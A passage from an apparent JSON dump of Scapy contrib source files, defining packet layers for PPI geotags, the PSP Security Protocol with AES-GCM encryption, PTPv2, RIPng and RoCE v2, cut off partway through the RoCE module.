         elif (value in self._relnames):\n                    i = self._relnames.index(value)\n                    y &= (~self._relmask)\n                    y |= self._relvals[i]\n                else:\n                    # logging.warning(\"Unknown VectorFlags Arg: %s\", value)\n                    pass\n        else:\n            y = x\n        # print(\"any2i: %s --> %s\" % (str(x), str(y)))\n        return y\n\n\nclass HCSIFlagsField(FlagsField):\n    \"\"\"A FlagsField where each bit/flag turns a conditional field on or off.\n\n    If the value is None when building a packet, i2m() will check the value of\n    every field in self.names.  If the field's value is not None, the\n    corresponding flag will be set.\n    \"\"\"\n\n    def i2m(self, pkt, val):\n        if val is None:\n            val = 0\n            if (pkt):\n                for i, name in enumerate(self.names):\n                    value = pkt.getfieldval(name)\n                    if value is not None:\n                        val |= 1 << i\n        return val\n\n\nclass HCSINullField(Field):\n    def __init__(self, name):\n        Field.__init__(self, name, None, '!')\n\n\ndef _hcsi_null_range(*args, **kwargs):\n    \"\"\"Builds a list of _HCSINullField with numbered \"Reserved\" names.\n\n    Takes the same arguments as the ``range`` built-in.\n\n    :returns: list[HCSINullField]\n    \"\"\"\n    return [\n        HCSINullField('Reserved{:02d}'.format(x))\n        for x in range(*args, **kwargs)\n    ]\n\n\nclass HCSIDescField(StrFixedLenField):\n    def __init__(self, name, default):\n        StrFixedLenField.__init__(self, name, default, length=32)\n\n\nclass HCSIAppField(StrFixedLenField):\n    def __init__(self, name, default):\n        StrFixedLenField.__init__(self, name, default, length=60)\n\n\ndef _FlagsList(myfields):\n    flags = [\"Reserved%02d\" % i for i in range(32)]\n    for i, value in myfields.items():\n        flags[i] = value\n    return flags\n\n\n# Define all geolocation-tag flags lists\n_hcsi_gps_flags = _FlagsList({\n    0: \"No Fix Available\",\n    1: \"GPS\",\n    2: \"Differential GPS\",\n    3: \"Pulse Per Second\",\n    4: \"Real Time Kinematic\",\n    5: \"Float Real Time Kinematic\",\n    6: \"Estimated (Dead Reckoning)\",\n    7: \"Manual Input\",\n    8: \"Simulation\",\n})\n\n_hcsi_vector_char_flags = _FlagsList({\n    0: \"Antenna\",\n    1: \"Direction of Travel\",\n    2: \"Front of Vehicle\",\n    3: \"Angle of Arrival\",\n    4: \"Transmitter Position\",\n    8: \"GPS Derived\",\n    9: \"INS Derived\",\n    10: \"Compass Derived\",\n    11: \"Accelerometer Derived\",\n    12: \"Human Derived\",\n})\n\n_hcsi_antenna_flags = _FlagsList({\n    1: \"Horizontal Polarization\",\n    2: \"Vertical Polarization\",\n    3: \"Circular Polarization Left\",\n    4: \"Circular Polarization Right\",\n    16: \"Electronically Steerable\",\n    17: \"Mechanically Steerable\",\n})\n\n# HCSI PPI Fields are similar to RadioTap.  A mask field called \"present\"\n# specifies if each field is present.  All other fields are conditional.  When\n# dissecting a packet, each field is present if \"present\" has the corresponding\n# bit set.\n#\n# When building a packet, if \"present\" is None, the mask is set to include\n# every field that does not have a value of None.  Otherwise, if the mask field\n# is not None, only the fields specified by \"present\" will be added to the\n# packet.\n#\n# To build each Packet type, build a list of the fields normally, excluding\n# the present bitmask field.  The code will then construct conditional\n# versions of each field and add the present field.\n#\n# See GPS_Fields as an example.\n\n_COMMON_GEOTAG_HEADERS = [\n    ByteField('geotag_ver', CURR_GEOTAG_VER),\n    ByteField('geotag_pad', 0),\n    LEShortField('geotag_len', None),\n]\n\n_COMMON_GEOTAG_FOOTER = [\n    HCSIDescField(\"DescString\", None),\n    XLEIntField(\"AppId\", None),\n    HCSIAppField(\"AppData\", None),\n    HCSINullField(\"Extended\"),\n]\n\n\n# Conditional test for all HCSI Fields\ndef _HCSITest(fname, fbit, pkt):\n    if pkt.present is None:\n        return pkt.getfieldval(fname) is not None\n    return pkt.present & fbit\n\n\nclass _Geotag_metaclass(Packet_metaclass):\n    def __new__(cls, name, bases, dct):\n        hcsi_fields = dct.get('hcsi_fields', [])\n\n        if len(hcsi_fields) != 0:\n            hcsi_fields += _COMMON_GEOTAG_FOOTER\n            if len(hcsi_fields) not in (8, 16, 32):\n                raise TypeError(\n                    'hcsi_fields in {} was {} elements long, expected 8, 16 '\n                    'or 32'.format(name, len(hcsi_fields)))\n\n            names = [f.name for f in hcsi_fields]\n\n            # Add the base fields\n            fields_desc = _COMMON_GEOTAG_HEADERS + [\n                HCSIFlagsField('present', None, -len(names), names),\n            ]\n\n            # Add conditional fields\n            for i, field in enumerate(hcsi_fields):\n                fields_desc.append(ConditionalField(\n                    field, functools.partial(\n                        _HCSITest, field.name, 1 << i)))\n\n            dct['fields_desc'] = fields_desc\n\n        x = super(_Geotag_metaclass, cls).__new__(cls, name, bases, dct)\n        return x\n\n\nclass HCSIPacket(PPI_Element, metaclass=_Geotag_metaclass):\n    def post_build(self, p, pay):\n        if self.geotag_len is None:\n            sl_g = struct.pack('<H', len(p))\n            p = p[:2] + sl_g + p[4:]\n        p += pay\n        return p\n\n\n# GPS Fields\nclass PPI_Geotag_GPS(HCSIPacket):\n    name = \"PPI GPS\"\n    hcsi_fields = [\n        FlagsField(\"GPSFlags\", None, -32, _hcsi_gps_flags),\n        Fixed3_7Field(\"Latitude\", None),\n        Fixed3_7Field(\"Longitude\", None),\n        Fixed6_4Field(\"Altitude\", None),\n        Fixed6_4Field(\"Altitude_g\", None),\n        GPSTime_Field(\"GPSTime\", None),\n        NSCounter_Field(\"FractionalTime\", None),\n        Fixed3_6Field(\"eph\", None),\n        Fixed3_6Field(\"epv\", None),\n        NSCounter_Field(\"ept\", None),\n    ] + _hcsi_null_range(10, 28)\n\n\n# Vector fields\nclass PPI_Geotag_Vector(HCSIPacket):\n    name = \"PPI Vector\"\n    hcsi_fields = [\n        VectorFlags_Field(\"VectorFlags\", None),\n        FlagsField(\"VectorChars\", None, -32, _hcsi_vector_char_flags),\n        Fixed3_6Field(\"Pitch\", None),\n        Fixed3_6Field(\"Roll\", None),\n        Fixed3_6Field(\"Heading\", None),\n        Fixed6_4Field(\"Off_X\", None),\n        Fixed6_4Field(\"Off_Y\", None),\n        Fixed6_4Field(\"Off_Z\", None),\n    ] + _hcsi_null_range(8, 16) + [\n        Fixed3_6Field(\"Err_Rot\", None),\n        Fixed6_4Field(\"Err_Off\", None),\n    ] + _hcsi_null_range(18, 28)\n\n\n# Sensor Fields\n# http://www.iana.org/assignments/icmp-parameters\nsensor_types = {\n    1: \"Velocity\",\n    2: \"Acceleration\",\n    3: \"Jerk\",\n    100: \"Rotation\",\n    101: \"Magnetic\",\n    1000: \"Temperature\",\n    1001: \"Barometer\",\n    1002: \"Humidity\",\n    2000: \"TDOA_Clock\",\n    2001: \"Phase\"\n}\n\n\nclass PPI_Geotag_Sensor(HCSIPacket):\n    name = \"PPI Sensor\"\n    hcsi_fields = [\n        LEShortEnumField('SensorType', None, sensor_types),\n        SignedByteField('ScaleFactor', None),\n        Fixed6_4Field('Val_X', None),\n        Fixed6_4Field('Val_Y', None),\n        Fixed6_4Field('Val_Z', None),\n        Fixed6_4Field('Val_T', None),\n        Fixed6_4Field('Val_E', None),\n    ] + _hcsi_null_range(7, 28)\n\n\n# HCSIAntenna Fields\nclass PPI_Geotag_Antenna(HCSIPacket):\n    name = \"PPI Antenna\"\n    hcsi_fields = [\n        FlagsField(\"AntennaFlags\", None, -32, _hcsi_antenna_flags),\n        ByteField(\"Gain\", None),\n        Fixed3_6Field(\"HorizBw\", None),\n        Fixed3_6Field(\"VertBw\", None),\n        Fixed3_6Field(\"PrecisionGain\", None),\n        XLEShortField(\"BeamID\", None),\n    ] + _hcsi_null_range(6, 26) + [\n        HCSIDescField(\"SerialNumber\", None),\n        HCSIDescField(\"ModelName\", None),\n    ]\n\n\nbind_layers(PPI_Hdr, PPI_Geotag_GPS, pfh_type=PPI_GPS)\nbind_layers(PPI_Hdr, PPI_Geotag_Vector, pfh_type=PPI_VECTOR)\nbind_layers(PPI_Hdr, PPI_Geotag_Sensor, pfh_type=PPI_SENSOR)\nbind_layers(PPI_Hdr, PPI_Geotag_Antenna, pfh_type=PPI_ANTENNA)\n"
  },
  {
    "path": "scapy/contrib/psp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2025\n\n# scapy.contrib.description = PSP Security Protocol\n# scapy.contrib.status = loads\n\nr\"\"\"\nPSP layer\n=========\n\nExample of use:\n\n>>> payload = IP() / UDP(sport=1234, dport=5678) / Raw(\"A\" * 9)\n>>> iv = b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n>>> spi = 0x11223344\n>>> key = b'\\xFF\\xEE\\xDD\\xCC\\xBB\\xAA\\x99\\x88\\x77\\x66\\x55\\x44\\x33\\x22\\x11\\x00'\n>>> psp_packet = PSP(nexthdr=4, cryptoffset=5, spi=spi, iv=iv, data=payload)\n>>> hexdump(psp_packet)\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41  ............AAAA\n0030  41 41 41 41 41                                   AAAAA\n>>>\n>>> psp_packet.encrypt(key)\n>>> hexdump(psp_packet)\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 8E 3E 2B 13 45 C7 6B F9 5C DA C3 9B  .....>+.E.k.\\...\n0030  86 17 62 A0 CF DF FB BE BB C6 31 3A 2B 9D E0 64  ..b.......1:+..d\n0040  75 9C DD 71 C9                                   u..q.\n>>>\n>>> psp_packet.decrypt(key)\n>>> hexdump(psp_packet)\n0000  04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08  .....\"3D........\n0010  45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01  E..%....@.|.....\n0020  7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41  ............AAAA\n0030  41 41 41 41 41                                   AAAAA\n>>>\n\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.error import log_loading\nfrom scapy.fields import (\n    BitField,\n    ByteField,\n    ConditionalField,\n    XIntField,\n    XStrField,\n    StrFixedLenField,\n)\nfrom scapy.packet import (\n    Packet,\n    bind_bottom_up,\n    bind_top_down,\n)\nfrom scapy.layers.inet import UDP\n\n###############################################################################\nif conf.crypto_valid:\n    from cryptography.exceptions import InvalidTag\n    from cryptography.hazmat.primitives.ciphers import (\n        aead,\n    )\nelse:\n    log_loading.info(\"Can't import python-cryptography v2.0+. \"\n                     \"Disabled PSP encryption/authentication.\")\n\n###############################################################################\nimport struct\n\n\nclass PSP(Packet):\n    \"\"\"\n    PSP Security Protocol\n\n    See https://github.com/google/psp/blob/main/doc/PSP_Arch_Spec.pdf\n    \"\"\"\n    name = 'PSP'\n\n    fields_desc = [\n        ByteField('nexthdr', 0),\n        ByteField('hdrextlen', 1),\n        BitField(\"reserved\", 0, 2),\n        BitField(\"cryptoffset\", 0, 6),\n        BitField(\"sample\", 0, 1),\n        BitField(\"drop\", 0, 1),\n        BitField(\"version\", 0, 4),\n        BitField(\"is_virt\", 0, 1),\n        BitField(\"one_bit\", 1, 1),\n        XIntField('spi', 0x00),\n        StrFixedLenField('iv', '\\x00' * 8, 8),\n        ConditionalField(XIntField(\"virtkey\", 0x00), lambda pkt: pkt.is_virt == 1),\n        ConditionalField(XIntField(\"sectoken\", 0x00), lambda pkt: pkt.is_virt == 1),\n        XStrField('data', None),\n    ]\n\n    def sanitize_cipher(self):\n        \"\"\"\n        Ensure we support the cipher to encrypt/decrypt this packet\n\n        :returns: the supported cipher suite\n        :raise scapy.layers.psp.PSPCipherError: if the requested cipher\n            is unsupported\n        \"\"\"\n        if self.version not in (0, 1):\n            raise PSPCipherError('Can not encrypt/decrypt using unsupported version %s'\n                                 % (self.version))\n        return aead.AESGCM\n\n    def encrypt(self, key):\n        \"\"\"\n        Encrypt a PSP packet\n\n        :param key:    the secret key used for encryption\n        :raise scapy.layers.psp.PSPCipherError: if the requested cipher\n            is unsupported\n        \"\"\"\n        cipher = self.sanitize_cipher()\n        encrypt_start_offset = 16 + self.cryptoffset * 4\n        iv = struct.pack(\"!L\", self.spi) + self.iv\n        plain = b''\n        to_encrypt = bytes(self.data)\n        self.data = b''\n        psp_header = bytes(self)\n        header_length = len(psp_header)\n        # Header should always be fully plaintext\n        if header_length < encrypt_start_offset:\n            plain = to_encrypt[:encrypt_start_offset - header_length]\n            to_encrypt = to_encrypt[encrypt_start_offset - header_length:]\n        cipher = cipher(key)\n        payload = cipher.encrypt(iv, to_encrypt, psp_header + plain)\n        self.data = plain + payload\n\n    def decrypt(self, key):\n        \"\"\"\n        Decrypt a PSP packet\n\n        :param key: the secret key used for encryption\n        :raise scapy.layers.psp.PSPIntegrityError: if the integrity check\n            fails with an AEAD algorithm\n        :raise scapy.layers.psp.PSPCipherError: if the requested cipher\n            is unsupported\n        \"\"\"\n        cipher = self.sanitize_cipher()\n        self.icv_size = 16\n        iv = struct.pack(\"!L\", self.spi) + self.iv\n        data = self.data[:len(self.data) - self.icv_size]\n        icv = self.data[len(self.data) - self.icv_size:]\n\n        decrypt_start_offset = 16 + self.cryptoffset * 4\n        plain = b''\n        to_decrypt = bytes(data)\n        self.data = b''\n        psp_header = bytes(self)\n        header_length = len(psp_header)\n        # Header should always be fully plaintext\n        if header_length < decrypt_start_offset:\n            plain = to_decrypt[:decrypt_start_offset - header_length]\n            to_decrypt = to_decrypt[decrypt_start_offset - header_length:]\n        cipher = cipher(key)\n        try:\n            data = cipher.decrypt(iv, to_decrypt + icv, psp_header + plain)\n            self.data = plain + data\n        except InvalidTag as err:\n            raise PSPIntegrityError(err)\n\n\nbind_bottom_up(UDP, PSP, dport=1000)\nbind_bottom_up(UDP, PSP, sport=1000)\nbind_top_down(UDP, PSP, dport=1000, sport=1000)\n\n###############################################################################\n\n\nclass PSPCipherError(Exception):\n    \"\"\"\n    Error risen when the cipher is unsupported.\n    \"\"\"\n    pass\n\n\nclass PSPIntegrityError(Exception):\n    \"\"\"\n    Error risen when the integrity check fails.\n    \"\"\"\n    pass\n"
  },
  {
    "path": "scapy/contrib/ptp_v2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Satveer Brar\n\n# scapy.contrib.description = Precision Time Protocol v2\n# scapy.contrib.status = loads\n\n\"\"\"\nPTP (Precision Time Protocol).\nReferences : IEEE 1588-2008\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteField,\n    IntField,\n    LongField,\n    ShortField,\n    ByteEnumField,\n    FlagsField,\n    XLongField,\n    XByteField,\n    ConditionalField,\n)\nfrom scapy.layers.inet import UDP\n\n\n#############################################################################\n#     PTPv2\n#############################################################################\n\n# IEEE 1588-2008 / Section 13.3.2.2\n\n_message_type = {\n    0x0: \"Sync\",\n    0x1: \"Delay_Req\",\n    0x2: \"Pdelay_Req\",\n    0x3: \"Pdelay_Resp\",\n    0x4: \"Reserved\",\n    0x5: \"Reserved\",\n    0x6: \"Reserved\",\n    0x7: \"Reserved\",\n    0x8: \"Follow_Up\",\n    0x9: \"Delay_Resp\",\n    0xA: \"Pdelay_Resp_Follow\",\n    0xB: \"Announce\",\n    0xC: \"Signaling\",\n    0xD: \"Management\",\n    0xE: \"Reserved\",\n    0xF: \"Reserved\"\n}\n\n_control_field = {\n    0x00: \"Sync\",\n    0x01: \"Delay_Req\",\n    0x02: \"Follow_Up\",\n    0x03: \"Delay_Resp\",\n    0x04: \"Management\",\n    0x05: \"All others\",\n}\n\n_flags = {\n    0x0001: \"alternateMasterFlag\",\n    0x0002: \"twoStepFlag\",\n    0x0004: \"unicastFlag\",\n    0x0010: \"ptpProfileSpecific1\",\n    0x0020: \"ptpProfileSpecific2\",\n    0x0040: \"reserved\",\n    0x0100: \"leap61\",\n    0x0200: \"leap59\",\n    0x0400: \"currentUtcOffsetValid\",\n    0x0800: \"ptpTimescale\",\n    0x1000: \"timeTraceable\",\n    0x2000: \"frequencyTraceable\"\n}\n\n\nclass PTP(Packet):\n    \"\"\"\n    PTP packet based on IEEE 1588-2008 / Section 13.3\n    \"\"\"\n\n    name = \"PTP\"\n    match_subclass = True\n    fields_desc = [\n        BitField(\"transportSpecific\", 0, 4),\n        BitEnumField(\"messageType\", 0x0, 4, _message_type),\n        BitField(\"reserved1\", 0, 4),\n        BitField(\"version\", 2, 4),\n        ShortField(\"messageLength\", None),\n        ByteField(\"domainNumber\", 0),\n        ByteField(\"reserved2\", 0),\n        FlagsField(\"flags\", 0, 16, _flags),\n        LongField(\"correctionField\", 0),\n        IntField(\"reserved3\", 0),\n        XLongField(\"clockIdentity\", 0),\n        ShortField(\"portNumber\", 0),\n        ShortField(\"sequenceId\", 0),\n        ByteEnumField(\"controlField\", 0, _control_field),\n        ByteField(\"logMessageInterval\", 0),\n        ConditionalField(BitField(\"originTimestamp_seconds\", 0, 48),\n                         lambda pkt: pkt.messageType in [0x0, 0x1, 0x2, 0xB]),\n        ConditionalField(IntField(\"originTimestamp_nanoseconds\", 0),\n                         lambda pkt: pkt.messageType in [0x0, 0x1, 0x2, 0xB]),\n        ConditionalField(BitField(\"preciseOriginTimestamp_seconds\", 0, 48),\n                         lambda pkt: pkt.messageType == 0x8),\n        ConditionalField(IntField(\"preciseOriginTimestamp_nanoseconds\", 0),\n                         lambda pkt: pkt.messageType == 0x8),\n        ConditionalField(BitField(\"requestReceiptTimestamp_seconds\", 0, 48),\n                         lambda pkt: pkt.messageType == 0x3),\n        ConditionalField(IntField(\"requestReceiptTimestamp_nanoseconds\", 0),\n                         lambda pkt: pkt.messageType == 0x3),\n        ConditionalField(BitField(\"receiveTimestamp_seconds\", 0, 48),\n                         lambda pkt: pkt.messageType == 0x9),\n        ConditionalField(IntField(\"receiveTimestamp_nanoseconds\", 0),\n                         lambda pkt: pkt.messageType == 0x9),\n        ConditionalField(BitField(\"responseOriginTimestamp_seconds\", 0, 48),\n                         lambda pkt: pkt.messageType == 0xA),\n        ConditionalField(IntField(\"responseOriginTimestamp_nanoseconds\", 0),\n                         lambda pkt: pkt.messageType == 0xA),\n        ConditionalField(ShortField(\"currentUtcOffset\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ByteField(\"reserved4\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ByteField(\"grandmasterPriority1\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ByteField(\"grandmasterClockClass\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(XByteField(\"grandmasterClockAccuracy\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ShortField(\"grandmasterClockVariance\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ByteField(\"grandmasterPriority2\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(XLongField(\"grandmasterIdentity\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(ShortField(\"stepsRemoved\", 0),\n                         lambda pkt: pkt.messageType == 0xB),\n        ConditionalField(XByteField(\"timeSource\", 0),\n                         lambda pkt: pkt.messageType == 0xB)\n\n    ]\n\n    def post_build(self, pkt, pay):  # type: (bytes, bytes) -> bytes\n        \"\"\"\n        Update the messageLength field after building the packet\n        \"\"\"\n        if self.messageLength is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n\n        return pkt + pay\n\n\n#     Layer bindings\n\nbind_layers(UDP, PTP, sport=319, dport=319)\nbind_layers(UDP, PTP, sport=320, dport=320)\n"
  },
  {
    "path": "scapy/contrib/ripng.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Routing Information Protocol next gen (RIPng)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField\nfrom scapy.layers.inet import UDP\n\n\nclass RIPng(Packet):\n    name = \"RIPng header\"\n    fields_desc = [\n        ByteEnumField(\"cmd\", 1, {1: \"req\", 2: \"resp\"}),\n        ByteField(\"ver\", 1),\n        ShortField(\"null\", 0)\n    ]\n\n\nclass RIPngEntry(Packet):\n    name = \"RIPng entry\"\n    fields_desc = [\n        IP6Field(\"prefix_or_nh\", \"::\"),\n        ShortField(\"routetag\", 0),\n        ByteField(\"prefixlen\", 0),\n        ByteEnumField(\"metric\", 1, {16: \"Unreach\",\n                                    255: \"next-hop entry\"})\n    ]\n\n\nbind_layers(UDP, RIPng, sport=521, dport=521)\nbind_layers(RIPng, RIPngEntry)\nbind_layers(RIPngEntry, RIPngEntry)\n"
  },
  {
    "path": "scapy/contrib/roce.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Haggai Eran <haggai.eran@gmail.com>\n\n# scapy.contrib.description = RoCE v2\n# scapy.contrib.status = loads\n\n\"\"\"\nRoCE: RDMA over Converged Ethernet\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers, Raw\nfrom scapy.fields import ByteEnumField, ByteField, XByteField, \\\n    ShortField, XShortField, XLongField, BitField, XBitField, FCSField\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.layers.l2 import Ether\nfrom scapy.compat import raw\nfrom scapy.error import warning\nfrom zlib import crc32\nimport struct\n\nfrom typing import (\n    Tuple\n)\n\n_transports = {\n    'RC': 0x00,\n    'UC': 0x20,\n    'RD': 0x40,\n    'UD': 0x60,\n}\n\n_ops = {\n    'SEND_FIRST': 0x00,\n    'SEND_MIDDLE': 0x01,\n    'SEND_LAST': 0x02,\n    'SEND_LAST_WITH_IMMEDIATE': 0x03,\n    'SEND_ONLY': 0x04,\n    'SEND_ONLY_WITH_IMMEDIATE': 0x05,\n    'RDMA_WRITE_FIRST': 0x06,\n    'RDMA_WRITE_MIDDLE': 0x07,\n    'RDMA_WRITE_LAST': 0x08,\n    'RDMA_WRITE_LAST_WITH_IMMEDIATE': 0x09,\n    'RDMA_WRITE_ONLY': 0x0a,\n    'RDMA_WRITE_ONLY_WITH_IMMEDIATE': 0x0b,\n    'RDMA_READ_REQUEST': 0x0c,\n    'RDMA_READ_RESPONSE_FIRST': 0x0d,\n    'RDMA_READ_RESPONSE_MIDDLE': 0x0e,\n    'RDMA_READ_RESPONSE_LAST': 0x0f,\n    'RDMA_READ_RESPONSE_ONLY': 0x10,\n    'ACKNOWLEDGE': 0x11,\n    'ATOMIC_ACKNOWLEDGE': 0x12,\n    'COMPARE_SWAP': 0x13,\n    'FETCH_ADD': 0x14,\n}\n\n\nCNP_OPCODE = 0x81\n\n\ndef opcode(transport, op):\n    # type: (str, str) -> Tuple[int, str]\n    return (_transports[transport] + _ops[op], '{}_{}'.format(transport, op))\n\n\n_bth_opcodes = dict([\n    opcode('RC', 'SEND_FIRST'),\n    opcode('RC', 'SEND_MIDDLE'),\n    opcode('RC', 'SEND_LAST'),\n    opcode('RC', 'SEND_LAST_WITH_IMMEDIATE'),\n    opcode('RC', 'SEND_ONLY'),\n    opcode('RC', 'SEND_ONLY_WITH_IMMEDIATE'),\n    opcode('RC', 'RDMA_WRITE_FIRST'),\n    opcode('RC', 'RDMA_WRITE_MIDDLE'),\n    opcode('RC', 'RDMA_WRITE_LAST'),\n    opcode('RC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'),\n    opcode('RC', 'RDMA_WRITE_ONLY'),\n    opcode('RC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'),\n    opcode('RC', 'RDMA_READ_REQUEST'),\n    opcode('RC', 'RDMA_READ_RESPONSE_FIRST'),\n    opcode('RC', 'RDMA_READ_RESPONSE_MIDDLE'),\n    opcode('RC', 'RDMA_READ_RESPONSE_LAST'),\n    opcode('RC', 'RDMA_READ_RESPONSE_ONLY'),\n    opcode('RC', 'ACKNOWLEDGE'),\n    opcode('RC', 'ATOMIC_ACKNOWLEDGE'),\n    opcode('RC', 'COMPARE_SWAP'),\n    opcode('RC', 'FETCH_ADD'),\n\n    opcode('UC', 'SEND_FIRST'),\n    opcode('UC', 'SEND_MIDDLE'),\n    opcode('UC', 'SEND_LAST'),\n    opcode('UC', 'SEND_LAST_WITH_IMMEDIATE'),\n    opcode('UC', 'SEND_ONLY'),\n    opcode('UC', 'SEND_ONLY_WITH_IMMEDIATE'),\n    opcode('UC', 'RDMA_WRITE_FIRST'),\n    opcode('UC', 'RDMA_WRITE_MIDDLE'),\n    opcode('UC', 'RDMA_WRITE_LAST'),\n    opcode('UC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'),\n    opcode('UC', 'RDMA_WRITE_ONLY'),\n    opcode('UC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'),\n\n    opcode('RD', 'SEND_FIRST'),\n    opcode('RD', 'SEND_MIDDLE'),\n    opcode('RD', 'SEND_LAST'),\n    opcode('RD', 'SEND_LAST_WITH_IMMEDIATE'),\n    opcode('RD', 'SEND_ONLY'),\n    opcode('RD', 'SEND_ONLY_WITH_IMMEDIATE'),\n    opcode('RD', 'RDMA_WRITE_FIRST'),\n    opcode('RD', 'RDMA_WRITE_MIDDLE'),\n    opcode('RD', 'RDMA_WRITE_LAST'),\n    opcode('RD', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'),\n    opcode('RD', 'RDMA_WRITE_ONLY'),\n    opcode('RD', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'),\n    opcode('RD', 'RDMA_READ_REQUEST'),\n    opcode('RD', 'RDMA_READ_RESPONSE_FIRST'),\n    opcode('RD', 'RDMA_READ_RESPONSE_MIDDLE'),\n    opcode('RD', 'RDMA_READ_RESPONSE_LAST'),\n    opcode('RD', 'RDMA_READ_RESPONSE_ONLY'),\n    opcode('RD', 'ACKNOWLEDGE'),\n    opcode('RD', 'ATOMIC_ACKNOWLEDGE'),\n    opcode('RD', 'COMPARE_SWAP'),\n    opcode('RD', 'FETCH_ADD'),\n\n    opcode('UD', 'SEND_ONLY'),\n    opcode('UD', 'SEND_ONLY_WITH_IMMEDIATE'),\n\n    (CNP_OPCODE, 'CNP'),\n])\n\n\nclass BTH(Packet):\n    name = \"BTH\"\n    fields_desc = [\n        ByteEnumField(\"opcode\", 0, _bth_opcodes),\n        BitField(\"solicited\", 0, 1),\n        BitField(\"migreq\", 0, 1),\n        BitField(\"padcount\", 0, 2),\n        BitField(\"version\", 0, 4),\n        XShortField(\"pkey\", 0xffff),\n        BitField(\"fecn\", 0, 1),\n        BitField(\"becn\", 0, 1),\n        BitField(\"resv6\", 0, 6),\n        BitField(\"dqpn\", 0, 24),\n        BitField(\"ackreq\", 0, 1),\n        BitField(\"resv7\", 0, 7),\n        BitField(\"psn\", 0, 24),\n\n        FCSField(\"icrc\", None, fmt=\"!I\")]\n\n    @staticmethod\n    def pack_icrc(icrc):\n        # type: (int) -> bytes\n        return struct.pack(\"!I\", icrc & 0xffffffff)[::-1]\n\n    def compute_icrc(self, p):\n        # type: (bytes) -> bytes\n        udp = self.underlayer\n        if udp is None or not isinstance(udp, UDP):\n            warning(\"Expecting UDP underlayer to compute checksum. Got %s.\",\n                    udp and udp.name)\n            return self.pack_icrc(0)\n        ip = udp.underlayer\n        if isinstance(ip, IP):\n            # pseudo-LRH / IP / UDP / BTH / payload\n            pshdr = Raw(b'\\xff' * 8) / ip.copy()\n            pshdr.chksum = 0xffff\n            pshdr.ttl = 0xff\n            pshdr.tos = 0xff\n            pshdr[UDP].chksum = 0xffff\n            pshdr[BTH].fecn = 1\n            pshdr[BTH].becn = 1\n            pshdr[BTH].resv6 = 0xff\n            bth = pshdr[BTH].self_build()\n            payload = raw(pshdr[BTH].payload)\n            # add ICRC placeholder just to get the right IP.totlen and\n            # UDP.length\n            icrc_placeholder = b'\\xff\\xff\\xff\\xff'\n            pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder)\n            icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff\n            return self.pack_icrc(icrc)\n        elif isinstance(ip, IPv6):\n            # pseudo-LRH / IPv6 / UDP / BTH / payload\n            pshdr = Raw(b'\\xff' * 8) / ip.copy()\n            pshdr.hlim = 0xff\n            pshdr.fl = 0xfffff\n            pshdr.tc = 0xff\n            pshdr[UDP].chksum = 0xffff\n            pshdr[BTH].fecn = 1\n            pshdr[BTH].becn = 1\n            pshdr[BTH].resv6 = 0xff\n            bth = pshdr[BTH].self_build()\n            payload = raw(pshdr[BTH].payload)\n            # add ICRC placeholder just to get the right IPv6.plen and\n            # UDP.length\n            icrc_placeholder = b'\\xff\\xff\\xff\\xff'\n            pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder)\n            icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff\n            return self.pack_icrc(icrc)\n        else:\n            warning(\"The underlayer protocol %s is not supported.\",\n                    ip and ip.name)\n            return self.pack_icrc(0)\n\n    # RoCE packets end with ICRC - a 32-bit CRC of the packet payload and\n    # pseudo-header. Add the ICRC header if it is missing and calculate its\n    # value.\n    def post_build(self, p, pay):\n        # type: (bytes, bytes) -> bytes\n        p += pay\n        if self.icrc is None:\n            p = p[:-4] + self.compute_icrc(p)\n        return p\n\n\nclass CNPPadding(Packet):\n    name = \"CNPPadding\"\n    fields_desc = [\n        XLongField(\"reserved1\", 0),\n        XLongField(\"reserved2\", 